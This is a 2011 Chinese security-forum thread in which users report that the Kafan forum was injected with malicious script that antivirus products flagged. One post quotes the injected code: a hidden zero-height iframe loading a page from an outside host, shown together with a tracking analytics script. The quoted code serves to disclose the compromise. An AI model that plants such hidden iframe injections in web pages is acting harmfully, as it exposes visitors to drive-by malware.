卡饭被挂马，金山，360，微点主防正式版均提示

显示全部楼层 · 发表于 2011-5-25 00:36:54

5月24号晚，从武汉电信访问卡饭，一直无法打开网页，金山，360，甚至是微点主防都提示缓冲区溢出或者挂马

ie无法打开网页且内存占用剧增
chrome无法打开网页，但是无其他异常

显示全部楼层 · 发表于 2011-5-25 00:38:31

被植入恶意脚本，目前已经正常

显示全部楼层 · 发表于 2011-5-25 00:41:24

郡主也发现了这个情况，现在已经恢复了

显示全部楼层 · 发表于 2011-5-25 00:44:39

本帖最后由 kangzhen 于 2011-5-25 00:46 编辑

<iframe src= http://ads31.3322.org:8832/FM01/index.html width=100 height=0><script language="javascript" type="text/javascript" src=" http://js.users.51.la/2718301.js"></script>

复制代码

document.write ('<a href="http://www.51.la/?2718301" target="_blank" title="我要啦免费统计 VIP 用户">贵宾统计</a>\n');
var a8301tf="51la";var a8301pu="";var a8301pf="51la";var a8301su=window.location;var a8301sf=document.referrer;var a8301of="";var a8301op="";var a8301ops=1;var a8301ot=1;var a8301d=new Date();var a8301color="";if (navigator.appName=="Netscape"){a8301color=screen.pixelDepth;} else {a8301color=screen.colorDepth;}
try{a8301tf=top.document.referrer;}catch(e){}
try{a8301pu =window.parent.location;}catch(e){}
try{a8301pf=window.parent.document.referrer;}catch(e){}
try{a8301ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a8301ops=(a8301ops==null)?1: (parseInt(unescape((a8301ops)[2]))+1);var a8301oe =new Date();a8301oe.setTime(a8301oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a8301ops+ ";path=/;expires="+a8301oe.toGMTString();a8301ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a8301ot==null){a8301ot=1;}else{a8301ot=parseInt(unescape((a8301ot)[2])); a8301ot=(a8301ops==1)?(a8301ot+1):(a8301ot);}a8301oe.setTime(a8301oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a8301ot+";path=/;expires="+a8301oe.toGMTString();}catch(e){}
a8301of=a8301sf;if(a8301pf!=="51la"){a8301of=a8301pf;}if(a8301tf!=="51la"){a8301of=a8301tf;}a8301op=a8301pu;try{lainframe}catch(e){a8301op=a8301su;}document.write('<img style="width:0px;height:0px" src="http://vip.51.la:82/go.asp?svid=2&id=2718301&tpages='+a8301ops+'&ttimes='+a8301ot+'&tzone='+(0-a8301d.getTimezoneOffset()/60)+'&tcolor='+a8301color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a8301of)+'&vpage='+escape(a8301op)+'" />');

复制代码

显示全部楼层 · 发表于 2011-5-27 10:22:23

前天开始无法访问，安软也没报毒，系统没有异常，看来该马不够厉害，没能突破操作系统。

显示全部楼层 · 发表于 2011-5-27 11:12:40

我用金山卫士啊，咋都没提示呢？

显示全部楼层 · 发表于 2011-5-27 11:32:59

谢谢你对论坛的关心，详见http://bbs.kafan.cn/thread-992311-1-1.html

显示全部楼层 · 发表于 2011-5-27 17:39:27

前天没上，昨天晚上上的，chrome和IE9都无法访问，avast!无提示，目前电脑没有什么问题

[意见] 卡饭被挂马，金山，360，微点主防正式版均提示